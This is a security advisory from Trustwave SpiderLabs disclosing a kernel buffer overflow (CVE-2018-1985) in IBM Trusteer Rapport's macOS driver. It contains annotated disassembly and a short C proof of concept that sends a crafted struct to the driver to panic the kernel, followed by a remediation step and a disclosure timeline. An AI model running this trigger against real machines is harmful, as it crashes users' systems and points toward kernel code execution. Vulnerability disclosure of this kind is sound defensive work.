Trustwave SpiderLabs Security Advisory TWSL2018-012: Kernel Buffer Overflow in IBM Trusteer Rapport Published: 02/28/2019 Version: 1.1 Vendor: IBM Trusteer (https://www.ibm.com) Product: Rapport Version affected: <3.6.1908 Product description: IBM Trusteer Rapport is an advanced endpoint protection solution designed to protect users from financial malware and phishing attacks. Using industry-leading technology, Trusteer Rapport is designed to defend against MitB attacks, remove malware from endpoint devices and protect customers by preventing them from entering phishing sites. Trusteer Rapport offers a broad security solution that can help your organization reduce costs, enhance your fraud detection and prevention, and help to provide a seamless customer experience. Finding 1: Kernel memory corruption Credit: Neil Kettle of Trustwave CVE: CVE-2018-1985 A signedness bug exists in the handling of user supplied buffers in the IBM Trusteer Rapport 'gakl_driver' on Apple Mac OS-X/macOS. The signedness bug permits an attacker to evade a length check on a user supplied buffer leading to an integer overflow thereby resulting in a user controllable memory corruption vulnerability in the Kernel driver potentially leading to arbitrary code execution in the Kernel/ring0. The assembler below exemplifies the vulnerability: 00000000000023ab mov eax, dword [rbx+8] [rbx] - user controllable 00000000000023ae cmp eax, 0x3e7 00000000000023b3 mov ecx, 0x3e7 00000000000023b8 cmovle ecx, eax 00000000000023bb mov dword [__ZN36com_trusteer_rapportke_userclient_v210_q_processE], ecx 00000000000023c1 lea rsi, qword [rbx+0xc] ; argument "src" for method _memcpy 00000000000023c5 movsxd rdx, ecx 00000000000023c8 shl rdx, 0x2 ; argument "n" for method _memcpy 00000000000023cc lea rdi, qword [__ZN36com_trusteer_rapportke_userclient_v28_processE] ; argument "dst" 00000000000023d3 call _memcpy <- Overflow Example: The following Proof of Concept (PoC) executes the vulnerable code path and will result in a page fault thereby panic'ing the kernel: ## rapport-smash-v2.c service = IOServiceGetMatchingService (kIOMasterPortDefault, IOServiceMatching("com_trusteer_rapportke_v2")); if (!service) { fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n"); return (EXIT_FAILURE); } rapport_port = (io_connect_t) 0; kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port); IOObjectRelease (service); if (kr != kIOReturnSuccess) { fprintf (stderr, "* IOServiceOpen failed\n"); return (EXIT_FAILURE); } memset (&active, 0, sizeof active); active.flag = 0x7F; active.num_pids = (1 << 31) | 0xFFFFFF; active.pids[0] = getpid (); kr = IOConnectCallStructMethod (rapport_port, 2, &active, sizeof active, NULL, NULL); Remediation Steps: Upgrade to IBM Security Rapport for MacOS 3.6.1908.26 or the latest stable version. Trustwave has not verified this fix. Revision History: 08/15/2018 - Vulnerability disclosed to vendor 11/13/2018 - 90 day deadline passed 11/14/2018 - Provided vender 30 day extension to patch 12/17/2018 - Vendor confirms no patch is available 12/20/2018 - Advisory 1.0 published 02/28/2019 - Advisory 1.1 published References 1. https://www-01.ibm.com/support/docview.wss?uid=ibm10869212 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.